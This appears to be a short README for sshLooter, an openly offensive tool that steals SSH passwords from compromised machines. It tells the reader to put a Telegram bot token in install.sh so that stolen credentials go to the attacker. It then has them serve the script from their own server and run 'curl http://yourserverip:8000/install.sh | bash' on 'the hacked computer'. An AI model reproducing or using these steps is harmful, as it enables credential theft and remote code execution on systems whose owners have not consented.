There's a C version which is much better sshLooterC

Script to steal passwords from ssh.

git clone https://github.com/mthbernardes/sshLooter.git
cd sshLooter

Edit the script on install.sh, and add your telegram bot api, and your userid.
Call the @botfather on telegram to create a bot and call the @userinfobot to get your user id.

On your server execute.
python -m SimpleHTTPServer

On the hacked computer execute.
curl http://yourserverip:8000/install.sh | bash

ChokePoint

Stealing SSH credentials Another Approach.